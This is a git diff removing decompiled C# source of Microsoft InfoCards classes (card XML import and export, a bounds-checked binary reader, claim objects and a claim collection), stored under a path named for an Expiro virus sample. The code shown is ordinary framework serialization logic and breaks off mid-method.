writer.WriteStartElement("InformationCardReference", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteStartElement("CardId", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(this.m_id.AbsoluteUri); - writer.WriteEndElement(); - writer.WriteStartElement("CardVersion", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(this.m_epoch.ToString((IFormatProvider) CultureInfo.InvariantCulture)); - writer.WriteEndElement(); - writer.WriteEndElement(); - if (!string.IsNullOrEmpty(this.m_name)) - { - writer.WriteStartElement("CardName", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(this.m_name); - writer.WriteEndElement(); - } - if (this.m_logo != null && this.m_logo.Length != 0) - { - writer.WriteStartElement("CardImage", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (!string.IsNullOrEmpty(this.m_mimeType)) - writer.WriteAttributeString("MimeType", this.m_mimeType); - string base64String = Convert.ToBase64String(this.m_logo); - writer.WriteString(base64String); - writer.WriteEndElement(); - } - writer.WriteStartElement("Issuer", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if ((Uri) null != this.m_issuer) - writer.WriteString(this.m_issuer.AbsoluteUri); - writer.WriteEndElement(); - writer.WriteStartElement("TimeIssued", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(XmlConvert.ToString(this.m_issuedOn, XmlDateTimeSerializationMode.Utc)); - writer.WriteEndElement(); - writer.WriteStartElement("TimeExpires", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(XmlConvert.ToString(this.m_expiresOn, XmlDateTimeSerializationMode.Utc)); - writer.WriteEndElement(); - if (this.m_creationParameters != null) - { - writer.WriteStartElement("TokenServiceList", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - foreach (TokenCreationParameter creationParameter in this.m_creationParameters) - creationParameter.WriteXml(writer); - writer.WriteEndElement(); - } - writer.WriteStartElement("SupportedTokenTypeList", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - foreach (string tokenType in this.m_tokenTypes) - writer.WriteElementString("TokenType", "http://schemas.xmlsoap.org/ws/2005/02/trust", tokenType); - writer.WriteEndElement(); - writer.WriteStartElement("SupportedClaimTypeList", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - foreach (string key in this.GetClaims().Keys) - { - InfoCardClaim claim = this.GetClaims()[key]; - if (!this.m_isSelfIssued || !Utility.CompareUri(claim.Id, InfoCardConstants.PPIDClaimsUri)) - { - writer.WriteStartElement("SupportedClaimType", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteAttributeString("Uri", claim.Id); - if (!string.IsNullOrEmpty(claim.DisplayTag)) - writer.WriteElementString("DisplayTag", "http://schemas.xmlsoap.org/ws/2005/05/identity", claim.DisplayTag); - if (!string.IsNullOrEmpty(claim.Description)) - writer.WriteElementString("Description", "http://schemas.xmlsoap.org/ws/2005/05/identity", claim.Description); - writer.WriteEndElement(); - } - } - writer.WriteEndElement(); - if (this.m_requireAppliesTo != RequireAppliesToStatus.NotPresent) - { - writer.WriteStartElement("RequireAppliesTo", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (RequireAppliesToStatus.Optional == this.m_requireAppliesTo) - writer.WriteAttributeString("Optional", "true"); - writer.WriteEndElement(); - } - if (!string.IsNullOrEmpty(this.m_privacyPolicyLink)) - { - writer.WriteStartElement("PrivacyNotice", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (0U < this.m_privacyPolicyVersion) - writer.WriteAttributeString("Version", this.m_privacyPolicyVersion.ToString((IFormatProvider) CultureInfo.InvariantCulture)); - writer.WriteString(this.m_privacyPolicyLink); - writer.WriteEndElement(); - } - if (this.GetRPIdentityRequirement().StrongIdentityRequired) - { - writer.WriteStartElement("RequireStrongRecipientIdentity", "http://schemas.xmlsoap.org/ws/2007/01/identity"); - writer.WriteEndElement(); - } - if (this.GetExtendedInformation() != null) - { - foreach (InfocardExtendedInformationEntry informationEntry in (List) this.m_extendedInformation) - informationEntry.WriteXml(writer); - } - writer.WriteStartElement("IsSelfIssued", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(XmlConvert.ToString(this.m_isSelfIssued)); - writer.WriteEndElement(); - if (!Utility.ArrayIsNullOrEmpty((Array) this.m_pinHash)) - { - writer.WriteStartElement("PinDigest", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(Convert.ToBase64String(this.m_pinHash)); - writer.WriteEndElement(); - } - writer.WriteStartElement("HashSalt", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(Convert.ToBase64String(this.m_salt)); - writer.WriteEndElement(); - writer.WriteStartElement("TimeLastUpdated", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(XmlConvert.ToString(this.m_lastUpdate, XmlDateTimeSerializationMode.Utc)); - writer.WriteEndElement(); - writer.WriteStartElement("IssuerId", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (this.m_issuerIdentifierAsBytes != null) - writer.WriteString(Convert.ToBase64String(this.m_issuerIdentifierAsBytes, Base64FormattingOptions.None)); - writer.WriteEndElement(); - writer.WriteStartElement("IssuerName", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (!string.IsNullOrEmpty(this.m_issuerName)) - writer.WriteString(this.m_issuerName); - writer.WriteEndElement(); - writer.WriteStartElement("BackgroundColor", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(XmlConvert.ToString(this.m_backgroundColor)); - writer.WriteEndElement(); - writer.WriteEndElement(); - writer.WriteStartElement("InformationCardPrivateData", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - InfoCardTrace.Assert(null != this.m_masterKey, "Masterkey Cannot be null when trying to export a card"); - writer.WriteStartElement("MasterKey", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteString(Convert.ToBase64String(this.m_masterKey.Key)); - writer.WriteEndElement(); - if (this.IsSelfIssued) - { - writer.WriteStartElement("ClaimValueList", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - foreach (string key in this.GetClaims().Keys) - { - InfoCardClaim claim = this.GetClaims()[key]; - if (!Utility.CompareUri(claim.Id, InfoCardConstants.PPIDClaimsUri)) - { - writer.WriteStartElement("ClaimValue", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - writer.WriteAttributeString("Uri", claim.Id); - if (!string.IsNullOrEmpty(claim.Value)) - writer.WriteElementString("Value", "http://schemas.xmlsoap.org/ws/2005/05/identity", claim.Value); - else - writer.WriteElementString("Value", "http://schemas.xmlsoap.org/ws/2005/05/identity", string.Empty); - writer.WriteEndElement(); - } - } - writer.WriteEndElement(); - } - writer.WriteEndElement(); - writer.WriteEndElement(); - } - - private void ReadImportedInfoCard(XmlReader reader) - { - InfoCardTrace.Assert(null != reader, "null reader"); - this.Language = reader.IsStartElement("InformationCard", "http://schemas.xmlsoap.org/ws/2005/05/identity") ? reader.GetAttribute("lang", "http://www.w3.org/XML/1998/namespace") : throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("UnexpectedElement"))); - if (string.IsNullOrEmpty(this.Language)) - this.Language = reader.GetAttribute("lang"); - reader.ReadStartElement(); - this.ReadBaseInfoCard(reader); - if (!this.IsSelfIssued && Utility.CompareUri(this.m_issuer, XmlNames.WSIdentity.SelfIssuerUriValue)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("SelfIssuedUriUsed"))); - if (this.m_extendedInformation != null) - return; - this.m_extendedInformation = new InfocardExtendedInformationCollection(this.m_id); - } - - private void ReadRoamingInfoCard(XmlReader reader) - { - InfoCardTrace.Assert(null != reader, "null reader"); - if (!reader.IsStartElement("RoamingInformationCard", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("UnexpectedElement"))); - reader.ReadStartElement(); - this.Language = reader.GetAttribute("lang", "http://www.w3.org/XML/1998/namespace"); - if (string.IsNullOrEmpty(this.Language)) - this.Language = reader.GetAttribute("lang"); - this.ReadBaseInfoCard(reader); - if (this.m_isSelfIssued && this.GetClaims().ContainsKey(InfoCardConstants.PPIDClaimsUri)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("InvalidImportFile"))); - this.ReadInfoCardPrivateData(reader); - } - - private void ReadInfoCardPrivateData(XmlReader reader) - { - while (reader.Read()) - { - switch (reader.LocalName) - { - case "RoamingInformationCard": - if (XmlNodeType.EndElement == reader.NodeType) - return; - continue; - case "MasterKey": - byte[] array = Utility.ReadByteStreamFromBase64(reader).ToArray(); - if (this.IsPinProtected) - { - if (array == null || PinProtectionHelper.EncryptedMasterKeySize != array.Length) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("InvalidImportFile"))); - this.m_masterKey = new InfoCardMasterKey(this.m_id, array); - continue; - } - this.m_masterKey = array != null && 32 == array.Length ? new InfoCardMasterKey(this.m_id, array) : throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("InvalidImportFile"))); - continue; - case "ClaimValueList": - this.ReadClaimValues(reader); - continue; - default: - continue; - } - } - } - - private void ReadBaseInfoCard(XmlReader reader) - { - try - { - while (reader.Read()) - { - if ("http://schemas.xmlsoap.org/ws/2005/05/identity" == reader.NamespaceURI && XmlNodeType.EndElement == reader.NodeType && ("InformationCard" == reader.LocalName || "InformationCardMetaData" == reader.LocalName)) - { - reader.ReadEndElement(); - break; - } - if ("http://schemas.xmlsoap.org/ws/2005/05/identity" != reader.NamespaceURI && XmlNodeType.Element == reader.NodeType) - { - if ("http://schemas.xmlsoap.org/ws/2007/01/identity" == reader.NamespaceURI && "IssuerInformation" == reader.LocalName) - { - if (this.m_readIssuerInformation) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("MultipleIssuerInformation"))); - InfocardExtendedInformationEntry informationEntry = new InfocardExtendedInformationEntry(); - informationEntry.ReadXml(reader); - if (this.m_extendedInformation == null) - this.m_extendedInformation = new InfocardExtendedInformationCollection(this.m_id); - this.m_extendedInformation.Add(informationEntry); - this.m_readIssuerInformation = true; - continue; - } - new InfocardExtendedInformationEntry().ReadXml(reader); - } - if ("http://schemas.xmlsoap.org/ws/2005/05/identity" == reader.NamespaceURI && XmlNodeType.EndElement != reader.NodeType) - { - switch (reader.LocalName) - { - case "CardId": - this.Id = new Uri(reader.ReadString().Trim()); - continue; - case "CardVersion": - this.Epoch = Convert.ToUInt32(reader.ReadString().Trim(), (IFormatProvider) CultureInfo.InvariantCulture); - continue; - case "CardImage": - this.LogoMimeType = reader.GetAttribute("MimeType", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (string.IsNullOrEmpty(this.LogoMimeType)) - this.LogoMimeType = reader.GetAttribute("MimeType"); - this.Logo = Utility.ReadByteStreamFromBase64(reader).ToArray(); - continue; - case "CardName": - this.Name = reader.ReadString().Trim(); - continue; - case "IssuerName": - this.IssuerName = reader.ReadString().Trim(); - continue; - case "Issuer": - this.Issuer = new Uri(reader.ReadString().Trim()); - continue; - case "TimeExpires": - this.ExpiresOn = XmlConvert.ToDateTime(reader.ReadString().Trim(), XmlDateTimeSerializationMode.Utc); - continue; - case "TimeIssued": - this.IssuedOn = XmlConvert.ToDateTime(reader.ReadString().Trim(), XmlDateTimeSerializationMode.Utc); - continue; - case "SupportedClaimTypeList": - this.ReadClaims(reader); - continue; - case "SupportedTokenTypeList": - this.TokenTypes = this.ReadTokenType(reader).ToArray(); - continue; - case "RequireAppliesTo": - string attribute = reader.GetAttribute("Optional", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (string.IsNullOrEmpty(attribute)) - attribute = reader.GetAttribute("Optional"); - this.RequireAppliesto = string.IsNullOrEmpty(attribute) || !("true" == attribute) && !("1" == attribute) ? RequireAppliesToStatus.Required : RequireAppliesToStatus.Optional; - continue; - case "TokenServiceList": - this.ReadAuthServices(reader); - continue; - case "PrivacyNotice": - this.ReadPrivacyPolicy(reader); - continue; - case "IsSelfIssued": - this.IsSelfIssued = Convert.ToBoolean(reader.ReadString().Trim(), (IFormatProvider) CultureInfo.InvariantCulture); - if (this.IsSelfIssued && this.m_readIssuerInformation) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ExtendedInfoInSelfIssued"))); - continue; - case "PinDigest": - byte[] array1 = Utility.ReadByteStreamFromBase64(reader).ToArray(); - if (array1 != null && array1.Length != 0) - { - this.m_pinHash = array1; - continue; - } - continue; - case "HashSalt": - byte[] array2 = Utility.ReadByteStreamFromBase64(reader).ToArray(); - if (array2 != null && array2.Length != 0) - { - this.HashSalt = array2; - continue; - } - continue; - case "TimeLastUpdated": - string s = reader.ReadString().Trim(); - if (!string.IsNullOrEmpty(s)) - { - this.LastUpdate = XmlConvert.ToDateTime(s, XmlDateTimeSerializationMode.Utc); - continue; - } - continue; - case "IssuerId": - byte[] array3 = Utility.ReadByteStreamFromBase64(reader).ToArray(); - if (array3 != null && array3.Length != 0) - { - this.IssuerIdentifierAsBytes = array3; - continue; - } - continue; - case "BackgroundColor": - this.BackgroundColor = Convert.ToInt32(reader.ReadString().Trim(), (IFormatProvider) CultureInfo.InvariantCulture); - continue; - default: - continue; - } - } - else if ("http://schemas.xmlsoap.org/ws/2007/01/identity" == reader.NamespaceURI && XmlNodeType.EndElement != reader.NodeType && "RequireStrongRecipientIdentity" == reader.LocalName && "http://schemas.xmlsoap.org/ws/2007/01/identity" == reader.NamespaceURI) - this.GetRPIdentityRequirement().StrongIdentityRequired = true; - } - } - catch (UriFormatException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("InvalidUriFormat"), (Exception) ex)); - } - } - - private void ReadPrivacyPolicy(XmlReader reader) - { - InfoCardTrace.Assert(null != reader, "null reader"); - string str = reader.IsStartElement("PrivacyNotice", "http://schemas.xmlsoap.org/ws/2005/05/identity") ? reader.GetAttribute("Version", "http://www.w3.org/XML/1998/namespace") : throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("UnexpectedElement"))); - if (string.IsNullOrEmpty(str)) - str = reader.GetAttribute("Version"); - if (!string.IsNullOrEmpty(str)) - this.m_privacyPolicyVersion = Convert.ToUInt32(str, (IFormatProvider) CultureInfo.InvariantCulture); - this.m_privacyPolicyLink = reader.ReadString().Trim(); - } - - private void ReadClaimValues(XmlReader reader) - { - InfoCardTrace.Assert(null != reader, "null reader"); - if (!reader.IsStartElement("ClaimValueList", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("UnexpectedElement"))); - while (reader.Read() && (XmlNodeType.EndElement != reader.NodeType || !("ClaimValueList" == reader.LocalName))) - { - if ("http://schemas.xmlsoap.org/ws/2005/05/identity" == reader.NamespaceURI && "ClaimValue" == reader.LocalName && XmlNodeType.Element == reader.NodeType) - { - string attribute = reader.GetAttribute("Uri", "http://www.w3.org/XML/1998/namespace"); - if (string.IsNullOrEmpty(attribute)) - attribute = reader.GetAttribute("Uri"); - reader.Read(); - string s = reader.ReadString().Trim(); - if (!this.IsPinProtected && s.Length > (int) byte.MaxValue) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("TooLongClaimValue"))); - if (!string.IsNullOrEmpty(attribute)) - { - if (!this.m_claims.ContainsKey(attribute)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("InvalidImportFile"))); - if (!string.IsNullOrEmpty(s) && !this.IsPinProtected) - { - if (InfoCardConstants.Gender == attribute && !("0" == s) && !("1" == s) && !("2" == s)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("InvalidImportFile"))); - if (InfoCardConstants.DateOfBirth == attribute) - { - try - { - XmlConvert.ToDateTime(s, XmlDateTimeSerializationMode.Utc); - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - InfoCardService.Crash(ex); - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("InvalidImportFile"))); - } - } - } - this.m_claims[attribute].Value = s; - } - } - } - } - - private void ReadClaims(XmlReader reader) - { - InfoCardTrace.Assert(null != reader, "null reader"); - if (!reader.IsStartElement("SupportedClaimTypeList", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("UnexpectedElement"))); - while (reader.Read() && (XmlNodeType.EndElement != reader.NodeType || !("SupportedClaimTypeList" == reader.LocalName))) - { - if ("http://schemas.xmlsoap.org/ws/2005/05/identity" == reader.NamespaceURI && "SupportedClaimType" == reader.LocalName) - { - InfoCardClaim claim = this.ReadSingleClaim(reader); - if (claim != null) - this.AddClaim(claim); - } - } - } - - private InfoCardClaim ReadSingleClaim(XmlReader reader) - { - InfoCardTrace.Assert(null != reader, "null reader"); - if (!reader.IsStartElement("SupportedClaimType", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("UnexpectedElement"))); - string displaytag = (string) null; - string description = (string) null; - string str = (string) null; - string attribute = reader.GetAttribute("Uri", "http://schemas.xmlsoap.org/ws/2005/05/identity"); - if (string.IsNullOrEmpty(attribute)) - attribute = reader.GetAttribute("Uri"); - if (reader.IsEmptyElement) - { - if (!string.IsNullOrEmpty(attribute)) - return new InfoCardClaim(attribute, str, description, displaytag); - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ClaimIdNull"))); - } - while (reader.Read()) - { - switch (reader.LocalName) - { - case "SupportedClaimType": - if (XmlNodeType.EndElement == reader.NodeType) - { - if (!string.IsNullOrEmpty(attribute)) - return new InfoCardClaim(attribute, str, description, displaytag); - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ClaimIdNull"))); - } - continue; - case "Description": - description = reader.ReadString().Trim(); - continue; - case "DisplayTag": - displaytag = reader.ReadString().Trim(); - continue; - case "ClaimValue": - if (this.IsSelfIssued) - { - str = reader.ReadString().Trim(); - continue; - } - continue; - default: - continue; - } - } - return (InfoCardClaim) null; - } - - private void ReadAuthServices(XmlReader reader) - { - InfoCardTrace.Assert(null != reader, "null reader"); - if (!reader.IsStartElement("TokenServiceList", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("UnexpectedElement"))); - if (reader.IsEmptyElement) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("NoAuthenticationServicesInCard"))); - while (reader.Read()) - { - switch (reader.LocalName) - { - case "TokenService": - if (reader.NodeType != XmlNodeType.EndElement) - { - TokenCreationParameter creationParameter = new TokenCreationParameter(); - creationParameter.ReadXml(reader); - if (!creationParameter.IsComplete()) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("ServiceInvalidTokenService"))); - this.CreationParameters.Add(creationParameter); - continue; - } - continue; - case "TokenServiceList": - return; - default: - continue; - } - } - } - - private List ReadTokenType(XmlReader reader) - { - InfoCardTrace.Assert(null != reader, "null reader"); - if (!reader.IsStartElement("SupportedTokenTypeList", "http://schemas.xmlsoap.org/ws/2005/05/identity")) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidCardException(SR.GetString("UnexpectedElement"))); - List stringList = new List(); - while (reader.Read() && (XmlNodeType.EndElement != reader.NodeType || !("SupportedTokenTypeList" == reader.LocalName))) - { - if ("TokenType" == reader.LocalName && "http://schemas.xmlsoap.org/ws/2005/02/trust" == reader.NamespaceURI && XmlNodeType.EndElement != reader.NodeType && !reader.IsEmptyElement) - { - string str = reader.ReadString().Trim(); - if (!string.IsNullOrEmpty(str)) - stringList.Add(str); - } - } - return stringList; - } - - private enum PinAction : byte - { - NoPin, - PinSame, - PinAdded, - PinRemoved, - PinChanged, - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardBinaryReader.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardBinaryReader.cs deleted file mode 100644 index 9b171c1a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardBinaryReader.cs +++ /dev/null @@ -1,146 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardBinaryReader -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Runtime.InteropServices; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal sealed class InfoCardBinaryReader : BinaryReader - { - private static readonly char[] s_singleChar = new char[1] - { - 'a' - }; - private int m_charSize; - - public InfoCardBinaryReader(Stream stream, Encoding encoding) - : base(stream, encoding) - { - this.m_charSize = encoding.GetByteCount(InfoCardBinaryReader.s_singleChar); - } - - public InfoCardBinaryReader(Stream stream) - : this(stream, Encoding.Unicode) - { - } - - public override int Read() - { - this.EnsureBufferBounds(1L); - return base.Read(); - } - - public override int Read(byte[] buffer, int index, int count) => base.Read(buffer, index, count); - - public override int Read(char[] buffer, int index, int count) => base.Read(buffer, index, count); - - public override bool ReadBoolean() - { - this.EnsureBufferBounds(1L); - return base.ReadBoolean(); - } - - public override byte ReadByte() - { - this.EnsureBufferBounds(1L); - return base.ReadByte(); - } - - public override byte[] ReadBytes(int count) - { - this.EnsureBufferBounds((long) count); - return base.ReadBytes(count); - } - - public override char ReadChar() - { - this.EnsureBufferBounds((long) this.m_charSize); - return base.ReadChar(); - } - - public override char[] ReadChars(int count) - { - this.EnsureBufferBounds(Convert.ToInt64(this.m_charSize * count)); - return base.ReadChars(count); - } - - public override Decimal ReadDecimal() - { - this.EnsureBufferBounds(Convert.ToInt64(Marshal.SizeOf(typeof (Decimal)))); - return base.ReadDecimal(); - } - - public override double ReadDouble() - { - this.EnsureBufferBounds(8L); - return base.ReadDouble(); - } - - public override short ReadInt16() - { - this.EnsureBufferBounds(2L); - return base.ReadInt16(); - } - - public override int ReadInt32() - { - this.EnsureBufferBounds(4L); - return base.ReadInt32(); - } - - public override long ReadInt64() - { - this.EnsureBufferBounds(8L); - return base.ReadInt64(); - } - - public override sbyte ReadSByte() - { - this.EnsureBufferBounds(1L); - return base.ReadSByte(); - } - - public override float ReadSingle() - { - this.EnsureBufferBounds(4L); - return base.ReadSingle(); - } - - public override string ReadString() - { - this.EnsureBufferBounds((long) (this.m_charSize * this.PeekChar() + 4)); - return base.ReadString(); - } - - public override ushort ReadUInt16() - { - this.EnsureBufferBounds(4L); - return base.ReadUInt16(); - } - - public override uint ReadUInt32() - { - this.EnsureBufferBounds(4L); - return base.ReadUInt32(); - } - - public override ulong ReadUInt64() - { - this.EnsureBufferBounds(8L); - return base.ReadUInt64(); - } - - private void EnsureBufferBounds(long offset) - { - if ((ulong) (this.BaseStream.Position + offset) > (ulong) this.BaseStream.Length) - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardArgumentException(SR.GetString("InvalidOrCorruptArgumentStream"))); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardClaim.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardClaim.cs deleted file mode 100644 index 5b307cd3..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardClaim.cs +++ /dev/null @@ -1,92 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardClaim -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class InfoCardClaim - { - private string m_id; - private string m_claimValue; - private string m_displayTag; - private string m_description; - - public InfoCardClaim() - { - } - - public InfoCardClaim(string id, string value) - : this(id, value, (string) null, (string) null) - { - } - - public InfoCardClaim(string id, string value, string description, string displaytag) - { - this.m_id = !string.IsNullOrEmpty(id) ? id : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (id)); - this.m_claimValue = value; - this.m_displayTag = displaytag; - this.m_description = description; - } - - public string Id => this.m_id; - - public string Value - { - get => this.m_claimValue; - set => this.m_claimValue = value; - } - - public string DisplayTag => this.m_displayTag; - - public string Description => this.m_description; - - public override string ToString() => this.m_claimValue; - - public void ThrowIfNotComplete() - { - if (string.IsNullOrEmpty(this.m_id)) - throw InfoCardTrace.ThrowHelperError((Exception) new SerializationIncompleteException(this.GetType())); - } - - public void Serialize(BinaryWriter writer) - { - this.ThrowIfNotComplete(); - if (writer == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (writer)); - Utility.SerializeString(writer, this.m_id); - Utility.SerializeString(writer, this.m_displayTag); - Utility.SerializeString(writer, this.m_description); - Utility.SerializeString(writer, this.m_claimValue); - } - - public void DeSerialize(BinaryReader reader) - { - this.m_id = Utility.DeserializeString(reader); - this.m_displayTag = Utility.DeserializeString(reader); - this.m_description = Utility.DeserializeString(reader); - this.m_claimValue = Utility.DeserializeString(reader); - } - - public void Encrypt(PinProtectionHelper pinHelper) - { - byte[] bytes = new UnicodeEncoding().GetBytes(this.m_claimValue); - this.m_claimValue = Convert.ToBase64String(pinHelper.Encrypt(bytes)); - } - - public void Decrypt(PinProtectionHelper pinHelper) - { - UnicodeEncoding unicodeEncoding = new UnicodeEncoding(); - byte[] encrypted = Convert.FromBase64String(this.m_claimValue); - this.m_claimValue = unicodeEncoding.GetString(pinHelper.Decrypt(encrypted)); - } - - public InfoCardClaim Clone() => new InfoCardClaim((string) this.m_id.Clone(), string.IsNullOrEmpty(this.m_claimValue) ? (string) null : (string) this.m_claimValue.Clone(), string.IsNullOrEmpty(this.m_description) ? (string) null : (string) this.m_description.Clone(), string.IsNullOrEmpty(this.m_displayTag) ? (string) null : (string) this.m_displayTag.Clone()); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardClaimCollection.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardClaimCollection.cs deleted file mode 100644 index a6696af7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/InfoCardClaimCollection.cs +++ /dev/null @@ -1,158 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.InfoCardClaimCollection -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.IO; -using System.Text; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class InfoCardClaimCollection : Dictionary - { - private const int InvalidRow = 0; - private Uri m_infoCardId; - private int m_rowId; - - private InfoCardClaimCollection() - { - } - - public InfoCardClaimCollection(Uri infoCardId) - : this() - { - this.m_infoCardId = !((Uri) null == infoCardId) ? infoCardId : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (infoCardId)); - } - - public void Add(InfoCardClaim claim) => this[claim.Id] = claim != null ? claim : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (claim)); - - public void Get(StoreConnection con) - { - DataRow dataRow = con != null ? this.TryGetRow(con, QueryDetails.FullRow) : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (con)); - if (dataRow == null) - return; - this.Deserialize((Stream) new MemoryStream(dataRow.GetDataField())); - this.m_rowId = dataRow.LocalId; - } - - public void Serialize(Stream stream, bool selfIssued) - { - BinaryWriter writer = new BinaryWriter(stream, Encoding.Unicode); - int count = this.Count; - if (selfIssued && this.ContainsKey(InfoCardConstants.PPIDClaimsUri)) - --count; - writer.Write(count); - foreach (KeyValuePair keyValuePair in (Dictionary) this) - { - if (selfIssued) - { - if 